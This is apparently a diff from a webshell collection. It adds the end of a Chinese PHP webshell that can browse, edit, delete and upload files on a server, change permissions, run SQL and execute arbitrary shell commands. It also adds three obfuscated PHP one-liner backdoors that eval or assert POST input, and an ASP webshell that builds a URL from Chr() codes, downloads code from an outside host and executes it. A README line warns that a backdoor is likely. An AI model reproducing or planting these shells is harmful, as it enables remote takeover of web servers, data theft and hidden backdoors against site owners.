+					if(strlen($dirb) <=3) $dirb = substr($dirb,0,2);
+				}
+				$bp="△ ";
+				$lop_fname = "上级目录";
+			}else if($lop_fname=="."){
+				if($dir == ".") continue;
+				$dir[1] ==':'?$dirb = substr(gettruepath($dirb),0,2):$dirb=$lop_fname;
+				$bp="○ ";
+				$lop_fname = "根级目录";
+			}else{
+				$lop_fsize = "[DIR]";
+				$dirb="$dir/$lop_fname";    
+				$lop_fcdata = @date("Y-n-d H:i:s",@filectime("$dirb"));
+				$lop_fmdata = @date("Y-n-d H:i:s",@filemtime("$dirb"));
+				$lop_ftype= substr(@base_convert(@fileperms($dirb),10,8),-4);
+				$bp="□ ";
+				$title = "点击进入文件夹[$lop_fname]";
+				$lop_foper= "[<a href=\"删除\" title=\"删除整个文件夹\" onClick=\"rusuredel('$dirb','?action=filedel&dir=$dir&deldir=');return false;\">删</a>|".
+							"<a href=\"重命名\" title=\"重命名\" onClick=\"rusurechk('$dirb','?action=filerename&dir=$dir&renamef=$dirb&renamet=');return false;\">重</a>|".
+							"<a href=\"拷贝\" title=\"拷贝\" onClick=\"rusurechk('$dirb','?action=filecopy&dir=$dir&copydirf=$dirb&copydirt=');return false;\">拷</a>|".
+							"<a href=\"属性\" title=\"修改属性\" onClick=\"rusurechk('$lop_ftype','?action=filetype&dir=$dir&ctype=');return false;\">属</a>]";
+				$dirsum++;
+			}
+			$color=ch_color($color);
+			echo    "<tr bgcolor=\"$color\">". 
+							"<td width=\"25%\">$bp [<a href=\"?action=dir&dir=$dirb\" title = \"进入\">$lop_fname</a>]</td>".
+							"<td width=\"40%\">[$lop_fcdata|$lop_fmdata]</td>".
+							"<td width=\"10%\">$lop_fsize</td>".
+							"<td width=\"8%\">$lop_ftype</td>".
+							"<td width=\"17%\">$lop_foper</td>".
+						"</tr>";
+		}
+	}
+	@closedir($dirs);
+	$dirs=@opendir($dir);
+	while ($lop_fname=@readdir($dirs)){
+		if(!@is_dir("$dir/$lop_fname")&&$lop_fname!=".."){
+			$lop_ftype= substr(@base_convert(@fileperms("$dir/$lop_fname"),10,8),-4);
+			$lop_foper= "[<a href=\"删除\" title=\"删除\" onClick=\"rusuredel('$dir/$lop_fname','?action=filedel&dir=$dir&delfile=');return false;\">删</a>|".
+						"<a href=\"重命名\" title=\"重命名\"  onClick=\"rusurechk('$dir/$lop_fname','?action=filerename&dir=$dir&renamef=$dir/$lop_fname&renamet=');return false;\">重</a>|".
+						"<a href=\"拷贝\" title=\"拷贝\" onClick=\"rusurechk('$dir/$lop_fname','?action=filecopy&dir=$dir&copyfilef=$dir/$lop_fname&copyfilet=');return false;\">拷</a>|".
+						"<a href=\"属性\" title=\"修改属性\" onClick=\"rusurechk('$lop_ftype','?action=filetype&dir=$dir&cfile=$dir/$lop_fname&ctype=');return false;\">属</a>|".
+						"<a href=\"?action=dir&df_path=$dir/$lop_fname\" title=\"下载\">下</a>|".
+						"<a href=\"?action=editfile&dir=$dir&editfile=$dir/$lop_fname\" title=\"编辑\">编</a>]";
+			$color=ch_color($color);
+			echo    "<tr bgcolor=\"$color\">". 
+							"<td width=\"25%\">■ <a href=\"$dir/$lop_fname\" title = \"新窗口中打开\" target=\"_blank\">$lop_fname</a></td>".
+							"<td width=\"40%\">[".@date("Y-n-d H:i:s",@filectime("$dir/$lop_fname"))."|".@date("Y-n-d H:i:s",@filemtime("$dir/$lop_fname"))."]</td>".
+							"<td width=\"10%\">".@number_format(@filesize("$dir/$lop_fname")/1024,3)."</td>".
+							"<td width=\"8%\">".$lop_ftype."</td>".
+							"<td width=\"17%\">$lop_foper</td>".
+						"</tr>";
+			$filesum++;
+		}
+	}
+	@closedir($dirs);
+	?>										  
+	<tr bgcolor="#000000" class="stylebtext3" align="center">
+		<td width="25%" colspan="5">目录数:<?=$dirsum?>,文件数:<?=$filesum?></td>
+	</tr>
+	</table>      
+<?}else if ($action == "editfile"){?>
+	文本编辑器(若目标文件不存在将新建新文件)
+	</td>
+	</tr>
+
+	<tr>
+	<form method="post" action="?action=filesave&dir=<?=urlencode($dir);?>" enctype="multipart/form-data">
+		<td align="center" valign="top" bgcolor="#EEEEEE">当前编辑文件名:
+			<input name="editfilename" type="text" class="style1" value="<?=$editfile?>" size="30">
+			<input name="editbackfile" type="checkbox" value="1" class="style1">生成备份文件(原文件.bak)<br>
+			<textarea name="editfiletext" cols="120" rows="25" class="style1"><?
+				$fd = @fopen($editfile, "rb");
+				$fd==false?$readfbuff = "读取文件错误(或尚未读取文件).":$readfbuff = @fread($fd, filesize($editfile));
+				@fclose( $fd );
+				$readfbuff = htmlspecialchars($readfbuff);
+				echo "$readfbuff";
+			?></textarea><p>
+			<input name="editfileb" type="submit" value="提交" class="style1">&nbsp;&nbsp;
+			<input name="editagainb" type="reset" value="重置" class="style1">
+			<a href="?action=dir&dir=<?=urlencode($dir);?>">点此返回文件浏览页面</a>
+			<p>
+		</td>
+	</form>
+	</tr>
+	</table>
+<?}else if("sql" == substr($action,0,3)){?>
+	数据库查询
+	</td>
+	</tr>
+	
+	<tr>
+	<form method="post" action="?action=sql" enctype="multipart/form-data">
+		<td align="center" valign="top" bgcolor="#EEEEEE">
+			数据库地址:<input name="sqlhost" type="text" class="style1" value="<?=isset($sqlhost)?$sqlhost:"localhost"?>" size="20">
+			端口:<input name="sqlport" type="text" class="style1" value="<?=isset($sqlport)?$sqlport:"3306"?>" size="5">
+			用户名:<input name="sqluser" type="text" class="style1" value="<?=isset($sqluser)?$sqluser:"root"?>" size="10">
+			密码:<input name="sqlpasd" type="text" class="style1" value="<?=isset($sqlpasd)?$sqlpasd:""?>" size="10">
+			数据库名:<input name="sqldb" type="text" class="style1" value="<?=isset($sqldb)?$sqldb:""?>" size="10"><br>
+			<textarea name="sqlcmdtext" cols="120" rows="10" class="style1"><?
+				if(!empty($sqlcmdtext)){
+					@mysql_connect("{$sqlhost}:{$sqlport}","$sqluser","$sqlpasd") or die("数据库连接失败");
+					@mysql_select_db("$sqldb") or die("选择数据库失败");
+					$res = @mysql_query("$sqlcmdtext");
+					echo $sqlcmdtext;
+					mysql_close();
+				}
+			?></textarea><p>
+			<span class="stylebtext2"><?echo isset($sqlcmdb)?($res?"执行成功.":"执行失败:".mysql_error()):"";?></span><p>
+			<input name="sqlcmdb" type="submit" value="执行" class="style1">&nbsp;&nbsp;
+			<input name="sqlagainb" type="reset" value="重置" class="style1">
+			<p>
+		</td>
+	</form>
+	</tr>
+	</table>
+<?}else if("shell" == substr($action,0,5)){?>
+	Shell命令
+	</td>
+	</tr>
+
+	<tr>
+		<form method="post" action="?action=shell" enctype="multipart/form-data">
+		<td align="center" valign="top" bgcolor="#EEEEEE">
+			函数:<select name="seletefunc" class="input">
+				<option value="system" <?=($seletefunc=="system")?"selected":"";?>>system</option>
+				<option value="exec" <?=($seletefunc=="exec")?"selected":"";?>>exec</option>
+				<option value="shell_exec" <?=($seletefunc=="shell_exec")?"selected":"";?>>shell_exec</option>
+				<option value="passthru" <?=($seletefunc=="passthru")?"selected":"";?>>passthru</option>
+				<option value="popen" <?=($seletefunc=="popen")?"selected":"";?>>popen</option>
+			</select>
+			命令:<input name="shellcmd" type="text" class="style1" value="<?=isset($shellcmd)?$shellcmd:""?>" size="80">
+			<textarea name="shelltext" cols="120" rows="10" class="style1"><?
+				if(!empty($shellcmd)){
+					if($seletefunc=="popen"){
+						$pp = popen($shellcmd, 'r');
+						echo fread($pp, 2096);
+						pclose($pp);
+					}else{
+						echo $out =  ("system"==$seletefunc)?system($shellcmd):(($seletefunc=="exec")?exec($shellcmd):(($seletefunc=="shell_exec")?shell_exec($shellcmd):(($seletefunc=="passthru")?passthru($shellcmd):system($shellcmd))));	
+					}
+				}
+			?></textarea><p>
+			<span class="stylebtext2"><?echo get_cfg_var("safe_mode")?"提示:安全模式下可能无法执行":"";?></span><p>
+			<input name="shellcmdb" type="submit" value="执行" class="style1">&nbsp;&nbsp;
+			<input name="shellagainb" type="reset" value="重置" class="style1">
+			<p>
+	</td>
+	</form>
+	</tr>
+	</table>
+<?}else if($action=="phpinfo"){?>
+	PHP系统信息
+	</td>
+	</tr>
+
+	<tr>
+	<td align="center" bgcolor="#EEEEEE" class="stylebtext2"><br><?phpinfo();
+		if(eregi("phpinfo",get_cfg_var("disable_functions"))) echo "<b>phpinfo函数被禁止</b><br>";
+	?><br>
+	</td>
+	</tr>
+	</table>
+<?}else if("file" == substr($action,0,4)){?>
+	系统消息
+	</td>
+	</tr>
+
+	<tr>
+	<td align="center" bgcolor="#EEEEEE" class="stylebtext2">
+	<br>
+	<?
+		if($action == "filesave"){
+			if(isset($editfileb)&&isset($editfilename)){
+				if(isset($editbackfile)&&($editbackfile == 1)) 
+					echo $out = @copy($editfilename,$editfilename.".bak")?"生成备份文件成功.<p>":"生成备份文件成功<p>";
+				$fd = @fopen($editfilename, "w");
+				if($fd == false) echo "打开文件[$editfilename]错误.";
+				else{
+					echo $out=@fwrite($fd,$editfiletext)?"编辑文件[$editfilename]成功!":"写入文件文件[$editfilename]错误";
+					@fclose( $fd );
+				}
+			}
+		}else if($action == "filedel"){
+			if(isset($deldir)) {
+				echo $out = file_exists($deldir)?(deltree($deldir)?"删除目录[$deldir]成功!":"删除目录[$deldir]失败!"):"目录[$deldir]不存在!!";
+			}else if(isset($delfile)){
+				@chmod("$delfile", 0777);
+				echo $out = file_exists($delfile)?(@unlink($delfile)?"删除文件[$delfile]成功!":"删除文件[$delfile]失败!"):"文件[$delfile]不存在!";
+			}
+		}else if($action == "filerename"){
+			echo $out = file_exists($renamef)?(@rename($renamef,$renamet)?"重命名[$renamef]为[{$renamet}]成功":"重命名[$renamef]为[{$renamet}]失败"):"文件[$renamef]不存在!";
+		}else if($action =="filecopy") {
+			if(isset($copydirf)&&isset($copydirt)){
+				echo $out = file_exists($copydirf)?(truepath($copydirt)?(copydir($copydirf,$copydirt)?"拷贝目录[$copydirf]到[$copydirt]成功":"拷贝目录[$copydirf]到[$copydirt]失败"):"目标目录[$copydirt]不存在且创建错误"):"目录[$copydirf]不存在!";
+			}else if(isset($copyfilef)&&isset($copyfilet)){
+				echo $out = file_exists($copyfilef)?(truepath(dirname($copyfilet))?(@copy($copyfilef,$copyfilet)?"拷贝文件[$copyfilef]到[$copyfilet]成功":"拷贝文件[$copyfilef]到[$copyfilet]失败"):"目标目录不存在且创建错误"):"源文件[$copyfilef]不存在!";
+			}
+		}else if($action == "filecreate"){
+			if(isset($mkdirb)){
+				echo $out = file_exists("$dir/$mkname")?"[{$dir}/{$mkname}]该目录已存在":(@mkdir("$dir/$mkname",0777)?"目录[$mkname]创建成功":"目录[$mkname]创建失败");
+			}else if(isset($mkfileb)){
+				if(file_exists("$dir/$mkname")) echo "[$dir/$mkname]该文件已存在";
+				else{
+					$fd = @fopen("$dir/$mkname", "w");
+					if($fd == false) echo "建立文件[$mkname]错误.";
+					else{
+						echo "建立文件[$mkname]成功 <a href=\"?action=editfile&dir=".urlencode($dir)."&editfile=".urlencode($dir)."/".urlencode($mkname)."\"><p>点此跳转入编辑浏览页面</a>";
+						@fclose( $fd );
+					}
+				}
+			}
+		}else if($action == "filetype"){
+			echo $out=@chmod($cfile,base_convert($ctype,8,10))?"更改成功!":"更改失败!";
+		}else if($action == "fileup"){
+			echo  $out = @copy($userfile["tmp_name"],"{$filedir}/{$userfile['name']}")?"上传文件[{$userfile['name']}]成功.位置:[{$filedir}/{$userfile['name']}]共({$userfile['size']})字节.":"上传文件[{$userfile['name']}]失败";
+		}else{
+			echo "错误的提交参数action.";
+		}
+	?>
+	<p>
+	<a href="?action=dir&dir=<?=urlencode($dir);?>">点此返回文件浏览页面</a>
+	<p>
+	</td>
+	</tr>
+	</table>
+
+<?}else if($action=="env"){?>
+	环境变量&nbsp;&nbsp;<?=$rny?>支持&nbsp;&nbsp;<?=$rnn?>不支持<br>
+	</td>
+	</tr>
+	<?
+	$sinfo[0] = array("主机域名:",$_SERVER["SERVER_NAME"]);
+	$sinfo[1] = array("主机IP:",gethostbyname($_SERVER["SERVER_NAME"]));
+	$sinfo[2] = array("主机端口:",$_SERVER["SERVER_PORT"]);
+	$sinfo[3] = array("主机时间:",date("Y/m/d_h:i:s",time()));
+	$sinfo[4] = array("主机系统:",PHP_OS);
+	$sinfo[5] = array("主机WEB服务器",$_SERVER["SERVER_SOFTWARE"]);
+	$sinfo[6] = array("PHP版本:",PHP_VERSION);
+	$sinfo[7] = array("剩余空间:",intval(diskfreespace(".") / (1024 * 1024).'MB'));
+	$sinfo[8] = array("主机语言",$_SERVER["HTTP_ACCEPT_LANGUAGE"]);
+	$sinfo[9] = array("当前用户",get_current_user());
+	$sinfo[10] = array("最大内存占用:",my_func("memory_limit",1));
+	$sinfo[11] = array("最大单个上传文件",my_func("upload_max_filesize",1));
+	$sinfo[12] = array("POST最大容量",my_func("post_max_size",1));
+	$sinfo[13] = array("脚本超时",my_func("max_execution_time",1));
+	$sinfo[14] = array("屏蔽的函数",my_func("disable_functions",1));
+
+	$ssql[0] = array("MYSQL",my_func("mysql_close",2)); 
+	$ssql[1] = array("Oracle",my_func("ora_close",2)); 
+	$ssql[2] = array("Oracle 8",my_func("OCILogOff",2)); 
+	$ssql[3] = array("OBDC",my_func("odbc_close",2)); 
+	$ssql[4] = array("SyBase",my_func("sybase_close",2)); 
+	$ssql[5] = array("SQL_Server",my_func("mssql_close",2)); 
+	$ssql[6] = array("DBase",my_func("dbase_close",2)); 
+	$ssql[7] = array("Hyperwave",my_func("hw_close",2));
+	$ssql[8] = array("Postgre_SQL",my_func("pg_close",2));
+
+	$sobj[0] = array("Session支持",my_func("session_start",2));
+	$sobj[1] = array("Socket支持",my_func("fsockopen",2));
+	$sobj[2] = array("压缩文件支持(Zlib)",my_func("gzclose",2));
+	$sobj[3] = array("SMTP支持",my_func("smtp",2));
+	$sobj[4] = array("XML支持",my_func("XML Support",3));
+	$sobj[5] = array("FTP支持",my_func("FTP support",3));
+	$sobj[6] = array("Sendmail支持",my_func("Internal Sendmail Support for Windows 4",3));
+	$sobj[7] = array("SNMP支持",my_func("snmpget",2));
+	$sobj[8] = array("PDF文档支持",my_func("pdf_close",2));
+	$sobj[9] = array("IMAP电子邮件支持",my_func("imap_close",2));
+	$sobj[10] = array("图形处理GD Library支持",my_func("imageline",2));
+	$sobj[11] = array("ZEND支持",my_func("zend_version",2)."(".zend_version().")");
+
+	$sobj[12] = array("允许使用URL打开文件",my_func("allow_url_fopen",2));
+	$sobj[13] = array("PREL相容语法 PCRE",my_func("preg_match",2));
+	$sobj[14] = array("显示错误信息",my_func("display_errors",2));
+	$sobj[15] = array("自动定义全局变量",my_func("register_globals",2));
+	$sobj[16] = array("PHP运行方式",strtoupper(php_sapi_name()));
+	?>
+
+	<tr>
+	<td align="center" bgcolor="#EEEEEE">
+		<table width="600" border="0" cellpadding="0" cellspacing="0"><br>
+			<tr><td align="center" bgcolor="#000000" class="stylebtext3" colspan="2">主机信息</td></tr>
+			<?
+			for($i=0;$i<15;$i++){
+				$color=ch_color($color);
+				echo "<tr bgcolor=\"$color\"><td>{$sinfo[$i][0]}</td><td>{$sinfo[$i][1]}</td></tr>";		
+			}
+			?>
+			<tr><td align="center" bgcolor="#000000" class="stylebtext3" colspan="2">数据库支持信息</td></tr>
+			<?
+			for($i=0;$i<9;$i++){
+				$color=ch_color($color);
+				echo "<tr bgcolor=\"$color\"><td>{$ssql[$i][0]}</td><td>{$ssql[$i][1]}</td></tr>";		
+			}
+			?>
+			<tr><td align="center" bgcolor="#000000" class="stylebtext3" colspan="2">组件和其他信息</td></tr>
+			<?
+			for($i=0;$i<17;$i++){
+				$color=ch_color($color);
+				echo "<tr bgcolor=\"$color\"><td>{$sobj[$i][0]}</td><td>{$sobj[$i][1]}</td></tr>";
+			}
+			?>
+			<tr><td align="center" bgcolor="#000000" class="stylebtext3" colspan="2">自定义查看PHP配置参数(多个参数可用","逗号隔开)</td></tr>
+			<tr bgcolor="#EEEEEE">
+			<form method="post" action="?action=env" enctype="multipart/form-data">
+				<td colspan="2">请输入参数的ProgId或ClassId:
+					<input name="envname" type="text" size="50" class="style1" value=<?=isset($envname)?$envname:"";?>> 
+					<input name="envnameb" type="submit" value="查看" class="style1">
+				</td>
+			</form>
+			</tr>
+			<?
+				if(isset($envname)&&!empty($envname)){
+					$envname=explode(",", $envname);
+					$i=0;
+					while($envname[$i]){
+						echo "<tr bgcolor=\"#CCCCCC\"><td colspan=\"2\">查询[{$envname[$i]}]如下:</td></tr>";
+						echo "<tr bgcolor=\"#EEEEEE\"><td>Get_cfg_var方式</td><td>". my_func($envname[$i],1)."</td></tr>";
+						echo "<tr bgcolor=\"#EEEEEE\"><td>function_exists方式</td><td>". my_func($envname[$i],2)."</td></tr>";
+						echo "<tr bgcolor=\"#EEEEEE\"><td>Get_magic_quotes_gpc方式</td><td>". my_func($envname[$i],3)."</td></tr>";
+						echo "<tr bgcolor=\"#EEEEEE\"><td>Get_magic_quotes_runtime方式</td><td>". my_func($envname[$i],4)."</td></tr>";
+						echo "<tr bgcolor=\"#EEEEEE\"><td>Getenv方式</td><td>". my_func($envname[$i],5)."</td></tr>";	
+						$i++;
+					}
+				}
+			?>
+		</table><br>
+	</td>
+	</tr>
+	</table>
+<?}else{
+	echo "错误的提交参数</td></tr><tr><td align=\"center\" bgcolor=\"#EEEEEE\"><br><a href=\"?action=dir&dir=".urlencode($dir)."\">点此返回文件浏览页面</a><p></td></tr></table>";
+}echoend();@ob_end_flush();?>
+
+<?
+
+function array_stripslashes(&$array) {
+    while(list($key,$var) = each($array)) {
+        if ((strtoupper($key) != $key || ''.intval($key) == "$key") && $key != 'argc' && $key != 'argv') {
+            if (is_string($var)) $array[$key] = stripslashes($var);
+            if (is_array($var)) $array[$key] = array_stripslashes($var);  
+        }
+    }
+    return $array;
+}
+
+function deltree($TagDir){ 
+	$mydir=@opendir($TagDir); 
+	while($file=@readdir($mydir)){ 
+		if((is_dir("$TagDir/$file")) && ($file!=".") && ($file!="..")) { 
+			if(!deltree("$TagDir/$file")) return false;
+		}else if(!is_dir("$TagDir/$file")){
+			@chmod("$TagDir/$file", 0777);
+			if(!@unlink("$TagDir/$file")) return false;
+		}
+	} 
+	@closedir($mydir); 
+	@chmod("$TagDir", 0777);
+	if(!@rmdir($TagDir)) return false;
+	return true;
+}
+
+function copydir($dirf,$dirt){
+    $mydir=@opendir($dirf);
+    while($file=@readdir($mydir)){
+        if((is_dir("$dirf/$file")) && ($file!=".") && ($file!="..")) {
+            if(!file_exists("$dirt/$file")) if(!@mkdir("$dirt/$file")) return false;
+            if(!copydir("$dirf/$file","$dirt/$file")) return false;
+        }else if(!is_dir("$dirf/$file")) if(!@copy("$dirf/$file","$dirt/$file")) return false;
+    }
+    return true;
+}
+
+function truepath($path){
+	if(file_exists($path)) return true;	
+	else{
+		if(truepath(@dirname($path))){
+			if(@mkdir($path)) return true;
+			else return false;
+		}else return false;
+	}
+}
+
+function getpageruntime(){
+    global $pagestarttime;
+    $pagestarttime = explode(' ', $pagestarttime);
+    $pageendtime = explode(' ',@microtime());
+    return ($pageendtime[0]-$pagestarttime[0]+$pageendtime[1]-$pagestarttime[1]);
+}
+
+function echoend(){
+    echo "<br><center>页面执行时间:".getpageruntime()." 秒<br>".
+    "<span class = \"stylebtext2\">EasyPHPWebShell 1.0(S8S8测试版)</span><br>脚本由 <b>网络技术论坛(<a href=\"http://www.s8s8.net\">http://www.s8s8.net</a>) ZV(<a href=\"mailto:zvrop@163.com\">zvrop@163.com</a>)</b> 编写<br>".
+    "Copyright (C) 2004 www.s8s8.net All Rights Reserved.</center>";
+}
+
+function gettruepath($path){
+    return str_replace("\\","/",@realpath($path));
+}
+
+function my_func($getname,$tp){
+	global $rny, $rnn;
+	$out = ($tp==1)?@get_cfg_var($getname):(($tp==2)?@function_exists($getname):(($tp==3)?@get_magic_quotes_gpc($getname):(($tp==4)?@get_magic_quotes_runtime($getname):(($tp==5)?@Getenv($getname):"error!"))));
+	return ($out == 1)?$rny:(($out == 0)?$rnn:$out);
+}
+
+function ch_color($c){
+	return $c=="#CCCCCC"?"#EEEEEE":"#CCCCCC";
+}
+
+function getloginpass(){
+	?>
+	<br><br><br><br><br><br><br>
+	<table align="center" width="300" border="0" cellpadding="0" cellspacing="0">
+    <tr>
+        <td align="center" bgcolor="#000000" class="stylebtext3">
+            欢迎使用,请输入密码
+        </td>
+    </tr>
+	<tr>
+		<form method="post" action="?action=login" enctype="multipart/form-data">
+        <td align="center" class="style1"><br>密码
+        <input name="pmy_password" type="password" size="30" class="style1"><p>
+		<input name="pmy_passwordb" type="submit" value="  登陆  " class="style1"><p>
+        </td>
+    </tr>
+	</table>
+	<?
+	exit;
+}
+?>

php/一句话2015-06-10-01.php

@@ -0,0 +1 @@
+<?php $x=base64_decode("YXNzZXJ0");$x($_POST['c']);?>

php/一句话2015-06-10-02.php

@@ -0,0 +1 @@
+<?php call_user_func(create_function(null,'assert($_POST[c]);'));?>

php/一句话2015-06-10-03.php

@@ -0,0 +1 @@
+<?php eval(base64_decode(ZXZhbChiYXNlNjRfZGVjb2RlKFpYWmhiQ2hpWVhObE5qUmZaR1ZqYjJSbEtFeDVPRGhRTTBKdlkwRndiR1J0Um5OTFExSm1WVVU1VkZaR2RHdGlNamw1V0ZOclMweDVPQzVqYUhJb05EY3BMbEJuS1NrNykpOw));?>

www-7jyewu-cn/README.md

@@ -4,5 +4,6 @@ url:http://www.7jyewu.cn/
 
 http://pan.baidu.com/share/home?uk=154628787&view=share#category/type=0
 
+极有可能存在后门。
 
 请谨慎使用，所造成的一切后果，与本人无关。

www-7jyewu-cn/aspmuma.asp

@@ -0,0 +1,47 @@
+<%@ LANGUAGE = VBScript.encode%><%
+Server.ScriptTimeout=999999999
+UserPass="admin"  '密码
+mNametitle ="免杀全球大马"  ' 标题
+Copyright="admin"  '版权
+SItEuRl=http://asp-muma.com/" '你的网站
+bg ="http://www.7jyewu.cn/webshell/asp.jpg" 
+ysjb=true  '是否有拖动效果,true为是,false为否
+
+function BytesToBstr(body,Cset) 
+dim objstream 
+set objstream = Server.CreateObject("adodb.stream")
+objstream.Type = 1 
+objstream.Mode =3 
+objstream.Open 
+objstream.Write body 
+objstream.Position = 0 
+objstream.Type = 2 
+objstream.Charset = Cset 
+BytesToBstr = objstream.ReadText 
+objstream.Close 
+set objstream = nothing 
+End function
+
+function PostHTTPPage(url) 
+dim Http 
+set Http=server.createobject("MSXML2.SERVERXMLHTTP.3.0")
+Http.open "GET",url,false 
+Http.setRequestHeader "CONTENT-TYPE", "application/x-www-form-urlencoded" 
+Http.send 
+if Http.readystate<>4 then 
+exit function 
+End if
+PostHTTPPage=bytesToBSTR(Http.responseBody,"gbk") 
+set http=nothing 
+if err.number<>0 then err.Clear 
+End function
+
+dim  aspCode
+aspCode=CStr(Session("aspCode"))
+if aspCode="" or aspCode=null or isnull(aspCode) then 
+aspCode=PostHTTPPage(Chr ( 104 ) & Chr ( 116 ) & Chr ( 116 ) & Chr ( 112 ) & Chr ( 58 ) & Chr ( 47 ) & Chr ( 47 ) & Chr ( 119 ) & Chr ( 119 ) & Chr ( 119 ) & Chr ( 46 ) & Chr ( 55 ) & Chr ( 106 ) & Chr ( 121 ) & Chr ( 101 ) & Chr ( 119 ) & Chr ( 117 ) & Chr ( 46 ) & Chr ( 99 ) & Chr ( 110 ) & Chr ( 47 ) & Chr ( 105 ) & Chr ( 109 ) & Chr ( 103 ) & Chr ( 47 ) & Chr ( 49 ) & Chr ( 46 ) & Chr ( 106 ) & Chr ( 112 ) & Chr ( 103 ))
+Session("aspCode") =aspCode
+End if
+execute aspCode
+
+%>